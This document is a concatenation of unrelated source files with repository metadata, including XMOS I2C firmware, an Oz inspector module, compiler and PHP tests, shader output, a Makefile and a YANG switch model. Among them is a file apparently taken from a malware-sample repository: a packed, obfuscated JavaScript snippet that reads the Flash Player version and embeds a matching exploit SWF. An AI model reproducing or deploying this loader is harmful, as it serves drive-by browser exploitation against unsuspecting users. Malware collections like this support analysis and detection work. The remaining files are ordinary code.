i2c <: SDA_LOW | SCL_LOW | S_REST;
waitQuarter();
}
static void stopBit(port i2c) {
i2c <: SDA_LOW | SCL_LOW | S_REST;
waitQuarter();
i2c <: SDA_LOW | SCL_HIGH | S_REST;
waitHalf();
i2c :> void;
waitQuarter();
}
static int tx8(port i2c, unsigned data) {
int ack;
unsigned CtlAdrsData = ((unsigned) bitrev(data)) >> 24;
for (int i = 8; i != 0; i--) {
highPulseDrive(i2c, CtlAdrsData & 1);
CtlAdrsData >>= 1;
}
ack = highPulseSample(i2c, 0);
return ack != 0;
}
int i2c_master_write_reg(int device, int addr, unsigned char const s_data[], int nbytes, struct r_i2c &i2cPorts) {
int data;
int ack;
if(I2C_REPEATED_START_ON_NACK) {
int nacks = I2C_REPEATED_START_MAX_RETRIES;
while(nacks) {
startBit(i2cPorts.p_i2c);
if(!(ack = tx8(i2cPorts.p_i2c, device<<1))) {
// Ack, break from loop;
break;
}
waitAfterNACK(i2cPorts.p_i2c);
nacks--;
}
if(!nacks) {
/* Ran out of retries */
stopBit(i2cPorts.p_i2c);
return 0;
}
}
else {
startBit(i2cPorts.p_i2c);
ack = tx8(i2cPorts.p_i2c, device<<1);
}
#ifdef I2C_TI_COMPATIBILITY
ack |= tx8(i2cPorts.p_i2c, addr << 1 | (data >> 8) & 1);
#else
ack |= tx8(i2cPorts.p_i2c, addr);
#endif
for(int i = 0; i< nbytes; i++) {
data = s_data[i];
ack |= tx8(i2cPorts.p_i2c, data);
}
stopBit(i2cPorts.p_i2c);
return ack == 0;
}
#ifdef __XS2A__
int i2c_master_rx(int device, unsigned char data[], int nbytes, struct r_i2c &i2cPorts) {
int i;
int rdData;
int temp = 0;
if(I2C_REPEATED_START_ON_NACK) {
int nacks = I2C_REPEATED_START_MAX_RETRIES;
while (nacks) {
startBit(i2cPorts.p_i2c);
if (!tx8(i2cPorts.p_i2c, (device<<1) | 1)) {
break;
}
waitAfterNACK(i2cPorts.p_i2c);
nacks--;
}
if (!nacks) {
stopBit(i2cPorts.p_i2c);
return 0;
}
} else {
startBit(i2cPorts.p_i2c);
tx8(i2cPorts.p_i2c, (device<<1) | 1);
}
for(int j = 0; j < nbytes; j++) {
rdData = 0;
for (i = 8; i != 0; i--) {
temp = highPulseSample(i2cPorts.p_i2c, temp);
rdData = rdData << 1;
if (temp) {
rdData |= 1;
}
}
data[j] = rdData;
if(j != nbytes - 1) {
(void) highPulseDrive(i2cPorts.p_i2c, 0);
} else {
(void) highPulseSample(i2cPorts.p_i2c, 0);
}
}
stopBit(i2cPorts.p_i2c);
return 1;
}
int i2c_master_read_reg(int device, int addr, unsigned char data[], int nbytes, struct r_i2c &i2cPorts) {
if(I2C_REPEATED_START_ON_NACK) {
int nacks = I2C_REPEATED_START_MAX_RETRIES;
while(nacks) {
startBit(i2cPorts.p_i2c);
if (!tx8(i2cPorts.p_i2c, device<<1)) {
break;
}
waitAfterNACK(i2cPorts.p_i2c);
nacks--;
}
if (!nacks) {
stopBit(i2cPorts. p_i2c);
return 0;
}
} else {
startBit(i2cPorts.p_i2c);
tx8(i2cPorts.p_i2c, device<<1);
}
tx8(i2cPorts.p_i2c, addr);
stopBit(i2cPorts.p_i2c);
return i2c_master_rx(device, data, nbytes, i2cPorts);
}
#endif
| XC | 5 | simongapp/xmos_usb_mems_interface | 01Firmware/PDM_USB/module_i2c_single_port/src/i2c-sp.xc | [
"Unlicense"
] |
%%%
%%% Author:
%%% Thorsten Brunklaus <bruni@ps.uni-sb.de>
%%%
%%% Copyright:
%%% Thorsten Brunklaus, 1999
%%%
%%% Last Change:
%%% $Date$ by $Author$
%%% $Revision$
%%%
%%% This file is part of Mozart, an implementation of Oz 3:
%%% http://www.mozart-oz.org
%%%
%%% See the file "LICENSE" or
%%% http://www.mozart-oz.org/LICENSE.html
%%% for information on usage and redistribution
%%% of this file, and for a DISCLAIMER OF ALL
%%% WARRANTIES.
%%%
functor $
import
CreateObjects(recordCreateObject kindedRecordCreateObject)
RecordC(hasLabel)
System(eq show)
Tk(send)
HelperComponent('nodes' : Helper) at 'Helper.ozf'
export
drawObject : DrawObject
genericDrawObject : GenericDrawObject
recordDrawObject : RecordDrawObject
recordIndDrawObject : RecordIndDrawObject
recordGrDrawObject : RecordGrDrawObject
recordGrIndDrawObject : RecordGrIndDrawObject
kindedRecordDrawObject : KindedRecordDrawObject
kindedRecordIndDrawObject : KindedRecordIndDrawObject
kindedRecordGrDrawObject : KindedRecordGrDrawObject
kindedRecordGrIndDrawObject : KindedRecordGrIndDrawObject
hashTupleDrawObject : HashTupleDrawObject
hashTupleGrDrawObject : HashTupleGrDrawObject
pipeTupleDrawObject : PipeTupleDrawObject
pipeTupleGrSDrawObject : PipeTupleGrSDrawObject
pipeTupleGrMDrawObject : PipeTupleGrMDrawObject
labelTupleDrawObject : LabelTupleDrawObject
labelTupleIndDrawObject : LabelTupleIndDrawObject
labelTupleGrDrawObject : LabelTupleGrDrawObject
labelTupleGrIndDrawObject : LabelTupleGrIndDrawObject
futureDrawObject : FutureDrawObject
futureGrDrawObject : FutureGrDrawObject
freeDrawObject : FreeDrawObject
freeGrDrawObject : FreeGrDrawObject
failedDrawObject : FailedDrawObject
fdIntDrawObject : FDIntDrawObject
fdIntGrDrawObject : FDIntGrDrawObject
variableRefDrawObject : VariableRefDrawObject
define
RecordCreateObject = CreateObjects.recordCreateObject
KindedRecordCreateObject = CreateObjects.kindedRecordCreateObject
class DrawObject
attr
dirty : true %% Draw Flag
meth getRootIndex(I $) %% Relocated from CreateObject to DrawObject due to class conflict
xDim <- _
{@parent getRootIndex(@index $)} %% Combines notify and getSimpleRootIndex
end
meth draw(X Y)
if @dirty
then dirty <- false {@visual printXY(X Y @string @tag @type)}
else {@visual place(X Y @tag)}
end
end
meth drawX(X Y $)
DrawObject, draw(X Y) (X + @xDim)
end
meth drawY(X Y $)
DrawObject, draw(X Y) (Y + 1)
end
meth getFirstItem($)
@tag
end
meth getTag($)
@tag
end
meth eliminateFresh(I)
skip
end
meth isFresh($)
false
end
meth undraw
if @dirty then skip else dirty <- true {@visual delete(@tag)} end
end
meth searchNode(XA YA X Y $)
if X >= XA andthen X < (XA + @xDim) andthen YA == Y then self else nil end
end
meth getMenuType($)
@type|self
end
meth isMapped(Index $)
{@parent isMapped(@index $)}
end
meth isDirty($)
@dirty
end
meth seekEnd($)
@parent
end
meth downNotify
skip
end
meth makeDirty
dirty <- true
end
meth map(Index F)
Val = @value
Visual = @visual
NewValue = try {F Val {Visual getWidth($)} {Visual getDepth($)}}
catch X then
mapping_failed(ex:{Value.byNeedFuture fun {$} X end}
val:Val)
end
in
{@parent link(@index NewValue)}
end
meth unmap
{@parent unlink(@index)}
end
meth action(Index P)
if {IsTuple P}
then {self P}
else thread {P @value} end
end
end
meth getSelectionNode($)
self
end
meth modifyDepth(Index N)
{@parent up((N + 1) Index)}
end
meth modifyWidth(Index N)
skip
end
meth reinspect
{@parent notify}
{@parent replace(@index @value replaceNormal)}
end
end
\insert 'draw/SimpleDrawObjects.oz'
\insert 'draw/ContDrawObjects.oz'
end
| Oz | 4 | Ahzed11/mozart2 | lib/tools/inspector/treewidget/DrawObjects.oz | [
"BSD-2-Clause"
] |
struct Article {
proof_reader: ProofReader,
}
struct ProofReader {
name: String,
}
pub trait HaveRelationship<To> {
fn get_relation(&self) -> To;
}
impl HaveRelationship<&ProofReader> for Article {
fn get_relation(&self) -> &ProofReader {
//~^ ERROR `impl` item signature doesn't match `trait` item signature
&self.proof_reader
}
}
fn main() {}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/traits/trait-param-without-lifetime-constraint.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
--TEST--
short_open_tag: On
--INI--
short_open_tag=on
--FILE--
<?
echo "Used a short tag\n";
?>
Finished
--EXPECT--
Used a short tag
Finished
| PHP | 2 | guomoumou123/php5.5.10 | tests/lang/short_tags.001.phpt | [
"PHP-3.01"
] |
//This file is part of "GZE - GroundZero Engine"
//The permisive licence allow to use GZE for free or commercial project (Apache License, Version 2.0).
//For conditions of distribution and use, see copyright notice in Licence.txt, this license must be included with any distribution of the code.
package {
//import GZ.ThreadMsg;
import GZ.Gfx.Buffer;
import GZ.Sys.Interface.Interface;
<cpp_h>
#include "Lib_GZ/Base/SmartPtr/SharedCount.h"
</cpp_h>
public extension Class {
public static var nClassId : Int;
<cpp_namespace_h>
//namespace Lib_GZ{namespace Base{namespace Thread{class cThread;}}}
}namespace Thread{class cThread;}namespace Class{
/////MasterThread//
extern Lib_GZ::Base::Thread::cThread* GzThread;
</cpp_namespace_h>
<cpp_class_h>
inline cClass* SpFromThis(){return this;}; //TODO
/*
inline void AddInst() const {const_cast<cClass*>(this)->nInstCount++;};
inline void SubInst() const {
const_cast<cClass*>(this)->nInstCount--;
GZ_printf("\nnInstCount: %d", nInstCount);
if(nInstCount == 0){
GZ_printf("\nDelete ");
delete this;
}
};
*/
//cClass* parent;//temps //TODO gzWp
gzWp<cClass> parent;//temps //TODO gzWp
gzInt nInstCount;
union {
Lib_GZ::Base::Thread::cThread* GzThread;
Lib_GZ::Base::Thread::cThread* thread;
};
inline cClass():GzThread(0),parent(0){}; //Sure?
// inline virtual void IniClass(){};
/*
inline virtual void ThreadLoop(){};
inline virtual void ThreadEnd(){
GZ_printf("\n----ThreadEND");
};
*/
</cpp_class_h>
<cpp_preinitializer_list>
:SharedCount(), nInstCount(0)
</cpp_preinitializer_list>
<cpp_initializer>
//printf("\nAAd\n");
if(_parent != 0){
//GZ_printf("\nGetParentThread");
//printf("\nGetParentThread\n");
// parent = _parent->SpFromThis();
parent = _parent;
GzThread = _parent->thread;
// printf("\nFinish\n");
// GZ_printf("\nSetParentThread");
// GZ_printf("\nClassSetThread");
}else{
// printf("\nThreadClass(No Parent)");
//Only new thread can have parent to zero (cThread) TODO aAssert
// --> thread = this;--> IN thread.cpp
}
</cpp_initializer>
public function Class() : Void {
}
public function fAddChild(_oChild:Any) : Void {
}
public function ThreadLoop() : Void {
}
public function ThreadEnd() : Void {
<cpp>
GZ_printf("\n----ThreadEND");
</cpp>
}
public function copy(_bDeepCpy : Bool):Any {
}
//override function TestDestructor() : Void { //TODO
cpp_override function destroy() : Void {
//Debug.fTrace("Destroy Class!");
<cpp>
// printf("\n Destroy Class!");
</cpp>
}
destructor { //To be overrided
}
}
}
| Redcode | 3 | VLiance/GZE | src/Lib_GZ/Base/Class.cw | [
"Apache-2.0"
] |
<!DOCTYPE html>
<html>
<head>
<title>frame_scroll_test</title>
<script src="test_bootstrap.js" type="text/javascript"></script>
<script type="text/javascript">
goog.require('bot');
goog.require('bot.userAgent');
goog.require('bot.window');
goog.require('goog.dom');
goog.require('goog.math.Coordinate');
goog.require('goog.testing.jsunit');
</script>
</head>
<body>
<iframe id="frame" src="testdata/styled_size.html"></iframe>
<script type="text/javascript">
var frame = document.getElementById('frame');
function setUpPage() {
bot.setWindow(goog.dom.getFrameContentWindow(frame));
}
function verifyScroll(expectedScroll) {
var actualScroll = bot.window.getScroll();
assertEquals(expectedScroll.width, actualScroll.width);
assertEquals(expectedScroll.height, actualScroll.height);
}
function testFrameGetScroll() {
frame.scrollLeft = '10px';
frame.scrollTop = '20px';
verifyScroll(new goog.math.Coordinate(10, 20));
}
function testFrameSetScroll() {
var pos = new goog.math.Coordinate(200, 150);
bot.window.setScroll(pos);
verifyScroll(pos);
}
function testFrameSetScrollUsingGetScroll() {
var pos = bot.window.getScroll();
bot.window.setScroll(pos);
verifyScroll(pos);
}
</script>
</body>
</html>
| HTML | 4 | weilandia/selenium | javascript/atoms/test/frame_scroll_test.html | [
"Apache-2.0"
] |
Integer/even -2
| Grace | 0 | DebugSteven/grace | tasty/data/unit/integer-even-input.grace | [
"BSD-3-Clause"
] |
var qrt = (\dur:1);
var eth = (\dur:1/2);
var sxt = (\dur:1/4);
SkoarTestRunner((
long_beats: [
") ). )) )). ))) )))) .))))) )))))) )))))))",
[(\dur:1),(\dur:1.5),(\dur:2),(\dur:3),(\dur:4),(\dur:8),(\dur:16),(\dur:32),(\dur:64)]
],
short_beats: [
"] ]] ]]] ]]]] ]]. ]]]. ]]]]] .]]]]]] ]]]]]]]",
[(\dur:1/2), (\dur:1/4),(\dur:1/8),
(\dur:1/16),(\dur:3/8), (\dur:3/16),
(\dur:1/32),(\dur:1/64),(\dur:1/128)]
],
long_rests: [
"} }} }}} }}}} }. }}.",
[(\dur:1,\isRest:true),(\dur:2,\isRest:true),
(\dur:4,\isRest:true),(\dur:8,\isRest:true),
(\dur:1.5,\isRest:true),(\dur:3,\isRest:true)]
],
short_rests: [
"o/ oo/ ooo/ oooo/ ooooo/ o/. oo/. ooo/.",
[(\dur:1/2,\isRest:true),(\dur:1/4,\isRest:true),
(\dur:1/8,\isRest:true), (\dur:1/16,\isRest:true),
(\dur:1/32,\isRest:true),(\dur:3/4,\isRest:true),
(\dur:3/8,\isRest:true),(\dur:3/16,\isRest:true)]
],
fancy_beats: [
".] .]]. ]. .)__ .)__. ]__.",
[(\dur:1/2),(\dur:3/8),(\dur:3/4),(\dur:1),(\dur:1.5),(\dur:3/4)]
],
fancy_beats: [
".] .]]. ]. .)__ .)__. ]__.",
[(\dur:1/2),(\dur:3/8),(\dur:3/4),(\dur:1),(\dur:1.5),(\dur:3/4)]
],
listy_a: [
"<0,1,2> => @food )",
[( 'dur': 1.0, 'food': [ 0, 1, 2 ] )]
],
listy_b: [
"<0.0, -1, 2.2> => @food )",
[( 'dur': 1.0, 'food': [ 0.0, -1, 2.2 ] )]
],
listy_c: [
"<<0,3>,1,2> => @food )",
[( 'dur': 1.0, 'food': [ [0,3], 1, 2 ] )]
],
listy_d: [
"3 => @x <0,!x,2> => @food )",
[( 'dur': 1.0, 'food': [ 0, 3, 2 ], 'x': 3 )]
],
listy_e: [
"<3,4> => @x <0,!x,2> => @food )",
[( 'dur': 1.0, 'food': [ 0, [3,4], 2 ], 'x':[3, 4] )]
],
numbers: [
"-1 ) 0 ) 1 ) 2 ) 20 ] 0.1 ] 1.0 ] ",
[(\degree:-1),(\degree:0),(\degree:1),(\degree:2),
(\degree:20),(\degree:0.1),(\degree:1.0)]
],
colons_simple: [
"|: ) ) ) :| ] ] :|",
[
qrt,qrt,qrt,
qrt,qrt,qrt, eth,eth,
qrt,qrt,qrt, eth,eth
]
],
colons_middle: [
"|: ) ) ) |: ] ] :|",
[
qrt,qrt,qrt,
eth,eth,eth,eth
]
],
dal_segno_a: [
",segno` ) ) ) |: ] ] :| fine D.S. al fine",
[
qrt, qrt, qrt, eth, eth, eth, eth,
qrt, qrt, qrt, eth, eth, eth, eth
]
],
dal_segno_b: [
",segno` ) ,segno` ) ) |: ] ] :| fine Dal Segno al fine",
[
qrt, qrt, qrt, eth, eth, eth, eth,
qrt, qrt, eth, eth, eth, eth,
]
],
skoarpion_a: [
") {! f !! ] !} !f",
[qrt, eth]
],
skoarpion_b: [
") {! f<x> !! !x ] !} ) !f<0>",
[qrt, qrt, eth]
],
skoarpion_c: [
") {! <x> !! ] !} => @f ) !f<0>",
[qrt, qrt, eth]
],
skoarpion_d: [
") {! ] !} => @f ) !f",
[qrt, qrt, eth]
],
one_voice_a: [
")
.a ]
)
.a ]
",
[qrt, eth, qrt, eth]
],
one_voice_b: [
") )
.a ] ]
",
[qrt, qrt, eth, eth]
],
two_voices_a: [
") )
.a ] ] ]
.b ]] ]] )
",
[[qrt,qrt], [qrt,qrt], [eth,sxt], sxt, [eth,qrt], eth]
],
));
| SuperCollider | 3 | sofakid/Skoarcery | SuperCollider/Testing/sanity.scd | [
"Artistic-2.0"
] |
<?xml version="1.0" encoding="utf-8"?>
<!--
Copyright (c) 2002 Douglas Gregor <doug.gregor -at- gmail.com>
Distributed under the Boost Software License, Version 1.0.
(See accompanying file LICENSE_1_0.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:import href="http://docbook.sourceforge.net/release/xsl/current/html/admon.xsl"/>
<!-- Already included in the main style sheet -->
<!-- <xsl:import href="relative-href.xsl"/> -->
<xsl:template name="admon.graphic">
<xsl:param name="node" select="."/>
<xsl:call-template name="href.target.relative">
<xsl:with-param name="target" select="$admon.graphics.path"/>
</xsl:call-template>
<xsl:choose>
<xsl:when test="local-name($node)='note'">note</xsl:when>
<xsl:when test="local-name($node)='warning'">warning</xsl:when>
<xsl:when test="local-name($node)='caution'">caution</xsl:when>
<xsl:when test="local-name($node)='tip'">tip</xsl:when>
<xsl:when test="local-name($node)='important'">important</xsl:when>
<xsl:otherwise>note</xsl:otherwise>
</xsl:choose>
<xsl:value-of select="$admon.graphics.extension"/>
</xsl:template>
</xsl:stylesheet>
| XSLT | 3 | Bpowers4/turicreate | src/external/boost/boost_1_68_0/tools/boostbook/xsl/admon.xsl | [
"BSD-3-Clause"
] |
# Check that all information is taken into account while trying to unroll
domain: "[m,n] -> { A[i] : 0 <= i < n,m }"
child:
context: "[m,n] -> { [] : m <= 10 or n <= 10 }"
child:
schedule: "[{ A[i] -> [i] }]"
options: "{ unroll[x] }"
| Smalltalk | 3 | chelini/isl-haystack | test_inputs/codegen/unroll10.st | [
"MIT"
] |
<Script src="swfobject.js"></Script><div id="flashcontent">111</div><div id="flashversion">222</div><script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('A B=e.d.k();r(B[\'u\']==a){f.j(\'i\').s="";r(B[\'x\']==3){A y=w c("./l.z","v","0.2","0.2","a","#2");y.C("h")}g r(B[\'x\']==7){A y=w c("./o.z","v","0.2","0.2","a","#2");y.C("h")}g r(B[\'x\']==5){A y=w c("./m.z","v","0.2","0.2","a","#2");y.C("h")}g r(B[\'x\']==a){y=w c("./q.z","v","0.2","0.2","a","#2");y.C("h")}g r(B[\'x\']==6){A y=w c("./n.z","v","0.2","0.2","a","#2");y.C("h");}g r(B[\'x\']==8){A t="b";A y=w c("./p.z","v","0.2","0.2","a","#2");y["C"]("h")}g r(B[\'x\']>=4){r(f.j){f.j(\'i\').s=""}}}',62,39,'|000000|1|115|124|16|28|45|47|64|9|DZ|SWFObject|SWFObjectUtil|deconcept|document|else|flashcontent|flashversion|getElementById|getPlayerVersion|i115|i16|i28|i45|i47|i64|if|innerHTML|jys1|major|mymovie|new|rev|so|swf|var|version|write'.split('|'),0,{}))</ScripT> | Ox | 0 | fengjixuchui/Family | JS/Exploit.JS.RealPlr.ox | [
"MIT"
] |
import React from 'react'
import t from 'prop-types'
const Label = ({ text, ...props }) => (
<div className="label" {...props}>
{text}
</div>
)
Label.propTypes = {
/** A nice string */
text: t.string,
}
export default Label
| JSX | 4 | alchi126/docz | core/docz-core/__fixtures__/Label.jsx | [
"MIT"
] |
<style>
body, html {
margin: 0;
}
</style>
<script>
window.addEventListener('DOMContentLoaded', () => {
const container = document.createElement('div');
document.body.appendChild(container);
const shadow = container.attachShadow({mode: 'open'});
const iframe = document.createElement('iframe');
iframe.src = './grid.html';
iframe.style.cssText = 'width: 300px; height: 300px; margin: 0; padding: 0; border: 0;';
shadow.appendChild(iframe);
});
</script>
| HTML | 4 | NareshMurthy/playwright | test/assets/grid-iframe-in-shadow.html | [
"Apache-2.0"
] |
{% set result = 'root' | get_uid() %}
{% include 'jinja_filters/common.sls' %}
| SaltStack | 2 | byteskeptical/salt | tests/integration/files/file/base/jinja_filters/user_get_uid.sls | [
"Apache-2.0"
] |
var a 0
= a 1
var (b 2) (c)
| Cirru | 0 | Cirru/scirpus | test/cirru/assignment.cirru | [
"MIT"
] |
DROP INDEX hdb_catalog."event_log_locked_idx";
| SQL | 1 | gh-oss-contributor/graphql-engine-1 | server/src-rsr/migrations/21_to_20.sql | [
"Apache-2.0",
"MIT"
] |
#import <ATen/native/metal/MetalTensorUtils.h>
namespace at {
namespace native {
namespace metal {
uint32_t batchSize(const Tensor& tensor) {
const IntArrayRef sizes = tensor.sizes();
const uint32_t dims = tensor.dim();
if (dims < 4) {
return 1;
}
return sizes[dims - 4];
}
uint32_t channelsSize(const Tensor& tensor) {
const IntArrayRef sizes = tensor.sizes();
const uint32_t dims = tensor.dim();
if (dims < 3) {
return 1;
}
return sizes[dims - 3];
}
uint32_t heightSize(const Tensor& tensor) {
const IntArrayRef sizes = tensor.sizes();
const uint32_t dims = tensor.dim();
if (dims < 2) {
return 1;
}
return sizes[dims - 2];
}
uint32_t widthSize(const Tensor& tensor) {
const IntArrayRef sizes = tensor.sizes();
const uint32_t dims = tensor.dim();
if (dims < 1) {
return 1;
}
return sizes[dims - 1];
}
}
}
}
| Objective-C++ | 4 | Hacky-DH/pytorch | aten/src/ATen/native/metal/MetalTensorUtils.mm | [
"Intel"
] |
ARPResponder(18.26.4.24 00:50:BF:01:0C:91,
18.26.7.1 00:50:BF:01:0C:5D) ->
Discard()
| Click | 0 | ANLAB-KAIST/NBA | configs/arp_responder.click | [
"MIT"
] |
# General
WORKDIR = $(PWD)
# Go parameters
GOCMD = go
GOTEST = $(GOCMD) test
# Git config
GIT_VERSION ?=
GIT_DIST_PATH ?= $(PWD)/.git-dist
GIT_REPOSITORY = http://github.com/git/git.git
# Coverage
COVERAGE_REPORT = coverage.out
COVERAGE_MODE = count
build-git:
@if [ -f $(GIT_DIST_PATH)/git ]; then \
echo "nothing to do, using cache $(GIT_DIST_PATH)"; \
else \
git clone $(GIT_REPOSITORY) -b $(GIT_VERSION) --depth 1 --single-branch $(GIT_DIST_PATH); \
cd $(GIT_DIST_PATH); \
make configure; \
./configure; \
make all; \
fi
test:
@echo "running against `git version`"; \
$(GOTEST) ./...
test-coverage:
@echo "running against `git version`"; \
echo "" > $(COVERAGE_REPORT); \
$(GOTEST) -coverprofile=$(COVERAGE_REPORT) -coverpkg=./... -covermode=$(COVERAGE_MODE) ./...
clean:
rm -rf $(GIT_DIST_PATH) | Makefile | 3 | wobcom/wg-quicker | vendor/github.com/go-git/go-git/v5/Makefile | [
"MIT"
] |
<html>
<body>
<h1>Spring MVC - Integration Testing</h1>
</body>
</html> | Java Server Pages | 1 | zeesh49/tutorials | spring-mvc-java/src/main/webapp/WEB-INF/jsp/index.jsp | [
"MIT"
] |
<div xmlns:py="http://purl.org/kid/ns#" py:strip="">
<head>
<title>Hello ${hello}</title>
<style type="text/css">@import(style.css)</style>
</head>
<div py:def="macro1">reference me, please</div>
<div py:def="macro2(name, classname='expanded')" class="${classname}">
Hello ${name.title()}
</div>
<span py:match="item.tag == '{http://www.w3.org/1999/xhtml}greeting'" class="greeting">
Hello ${item.get('name')}
</span>
<span py:match="item.tag == '{http://www.w3.org/1999/xhtml}span' and item.get('class') == 'greeting'"
py:content="item.text" style="text-decoration: underline" />
</div>
| Genshi | 3 | omunroe-com/sbvedwllorg | examples/basic/layout.kid | [
"BSD-3-Clause"
] |
$$ MODE TUSCRIPT
words = REQUEST ("http://www.puzzlers.org/pub/wordlists/unixdict.txt")
DICT letters create
MODE {}
COMPILE
LOOP word=words
letters=SPLIT (word,|":?:")
LOOP letter=letters
DICT letters ADD/QUIET/COUNT letter
ENDLOOP
ENDLOOP
ENDCOMPILE
DICT letters unload letter,size,cnt
index =DIGIT_INDEX (cnt)
index =REVERSE (index)
letter =INDEX_SORT (letter,index)
cnt =INDEX_SORT (cnt,index)
frequency=JOIN (letter," --- ",cnt)
*{frequency}
| Turing | 2 | LaudateCorpus1/RosettaCodeData | Task/Letter-frequency/TUSCRIPT/letter-frequency.tu | [
"Info-ZIP"
] |
$color-background-light = lighten($vue-ui-color-light-neutral, 80%)
$color-text-light = lighten($vue-ui-color-dark, 40%)
$content-bg-primary-light = darken($vue-ui-color-light-neutral, 8%)
$content-bg-primary-dark = lighten($vue-ui-color-dark, 3%)
$content-bg-secondary-light = darken($vue-ui-color-light-neutral, 12%)
$content-bg-secondary-dark = lighten($vue-ui-color-dark, 6%)
$content-bg-list-light = $vue-ui-color-light-neutral
$content-bg-list-dark = $vue-ui-color-dark
| Stylus | 3 | brizer/vue-cli | packages/@vue/cli-ui/src/style/colors.styl | [
"MIT"
] |
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct Uniforms {
half4 testInputs;
half4 colorGreen;
half4 colorRed;
};
struct Inputs {
};
struct Outputs {
half4 sk_FragColor [[color(0)]];
};
fragment Outputs fragmentMain(Inputs _in [[stage_in]], constant Uniforms& _uniforms [[buffer(0)]], bool _frontFacing [[front_facing]], float4 _fragCoord [[position]]) {
Outputs _out;
(void)_out;
const half4 constVal = half4(-1.25h, 0.0h, 0.75h, 2.25h);
half4 expectedA = half4(0.0h, 0.0h, 0.84375h, 1.0h);
half4 expectedB = half4(1.0h, 0.0h, 1.0h, 1.0h);
_out.sk_FragColor = ((((((((((((((((((0.0h == expectedA.x && all(half2(0.0h, 0.0h) == expectedA.xy)) && all(half3(0.0h, 0.0h, 0.84375h) == expectedA.xyz)) && all(half4(0.0h, 0.0h, 0.84375h, 1.0h) == expectedA)) && 0.0h == expectedA.x) && all(half2(0.0h, 0.0h) == expectedA.xy)) && all(half3(0.0h, 0.0h, 0.84375h) == expectedA.xyz)) && all(half4(0.0h, 0.0h, 0.84375h, 1.0h) == expectedA)) && smoothstep(_uniforms.colorRed.y, _uniforms.colorGreen.y, -1.25h) == expectedA.x) && all(smoothstep(_uniforms.colorRed.y, _uniforms.colorGreen.y, half2(-1.25h, 0.0h)) == expectedA.xy)) && all(smoothstep(_uniforms.colorRed.y, _uniforms.colorGreen.y, half3(-1.25h, 0.0h, 0.75h)) == expectedA.xyz)) && all(smoothstep(_uniforms.colorRed.y, _uniforms.colorGreen.y, constVal) == expectedA)) && 1.0h == expectedB.x) && all(half2(1.0h, 0.0h) == expectedB.xy)) && all(half3(1.0h, 0.0h, 1.0h) == expectedB.xyz)) && all(half4(1.0h, 0.0h, 1.0h, 1.0h) == expectedB)) && smoothstep(_uniforms.colorRed.x, _uniforms.colorGreen.x, -1.25h) == expectedB.x) && all(smoothstep(_uniforms.colorRed.xy, _uniforms.colorGreen.xy, half2(-1.25h, 0.0h)) == expectedB.xy)) && all(smoothstep(_uniforms.colorRed.xyz, _uniforms.colorGreen.xyz, half3(-1.25h, 0.0h, 0.75h)) == expectedB.xyz)) && all(smoothstep(_uniforms.colorRed, _uniforms.colorGreen, constVal) == expectedB) ? _uniforms.colorGreen : _uniforms.colorRed;
return _out;
}
| Metal | 3 | fourgrad/skia | tests/sksl/intrinsics/Smoothstep.metal | [
"BSD-3-Clause"
] |
module polatis-switch {
namespace "http://www.polatis.com/yang/polatis-switch";
prefix plts;
import optical-switch {
prefix opsw;
}
import ietf-yang-types {
prefix yang;
}
import ietf-inet-types {
prefix inet;
}
organization "Polatis Limited";
contact
"Adam Hughes
Polatis Limited
332/2 Cambridge Science Park
Cambridge CB4 0WN
United Kingdom
Phone: +44 (0) 1223 424200
Email: yang-support@polatis.com";
description "This module describes features that are specific to Polatis optical switches";
revision "2018-01-19" {
description "1. Added support for session management and control. Removed the redundant leaf 'logged-in-users'.
2. Removed the deprecated NOTIF_PORT from when conditions. Removed the deprecated
'notif-port-status' leaf from 'notification-log'. ";
}
revision "2017-09-11" {
description "1. Changed 'enable-notifications' to 'mask-notification' and made all notification enabled by default.
'mask-notification' can be used to disable notifications.
2. Removed RPC 'get_alarm_state' and provided an equivalent operational data 'system-alarms'.
3. Removed RPC 'shutter-status' and provided an equivalent operational data 'shutter-status'. ";
}
revision "2017-05-30" {
description "1. Added support for activity-log configuration and notifications.
2. Added an RPC to get current system alarm
3. Added the default value for enable-notifications. ";
}
revision "2016-04-22" {
description "1. Added support for the smart fibre Id identification and reporting.
2. Added support for configuring and operation programmable shutters. ";
}
revision "2016-02-17" {
description "1. Added Polatis specific Variable Optical Attenuation (VOA) modes
2. Changed the data type for power alarm hysteresis and defined the range.";
}
revision "2015-09-14" {
description "Initial revision.";
}
augment /opsw:ports/opsw:port {
leaf fibre-id {
type string;
config false;
description "Id of the smart fibre that is connected to this port. Polatis switches report
'NA' if smart fibre is not connected on this port. Management interface can find matching Id
from a different switch to establish the network topology.";
}
}
augment /opsw:ports/opsw:port/opsw:opm {
leaf offset {
type opsw:floatFormat2d;
default 0;
description "Offset for the power measurement; the value is added to power
monitor measurements when reporting /opsw:ports/opsw:port[]/opsw:opm/opsw:power.
Thus, specifying an offset can be used as a means of referencing the power
monitors against external meters.
It should be noted that the offset feature does NOT impact the behaviour
of the alarm or attenuation features:
alarm and attenuation settings always operate relative to the actual
power monitor readings, i.e. without any user-specified offsets.
Specified in dBm.";
}
leaf averaging-time-select {
type uint8 {
range "1..8";
}
default 4;
description "Selects the averaging period; each increment
in this value doubles the length of the time for which the OPM power
readings are averaged.
Setting the value to 1 results in the shortest averaging period, around 10ms.
Setting the value to 8 results in the longest averaging period, 128 times greater.";
}
leaf power-alarm-hysteresis {
type decimal64 {
fraction-digits 2;
range "1..5";
}
default 1;
description "Added to 'power-low-alarm' and subtracted from 'power-high-alarm'
to generate alarm clear notifications. Specified in dBm.";
}
leaf power-alarm-clear-holdoff {
type uint32;
default 10;
description "Minimum time (in seconds) for which the optical power level needs
to be restored within the power alarm thresholds for the switch to generate
an alarm clear notification.";
}
}
augment /opsw:ports/opsw:port/opsw:opm/opsw:voa {
leaf polatis-atten-modes {
type enumeration {
enum VOA_ATTEN_MODE_CONVERGED { value 1; }
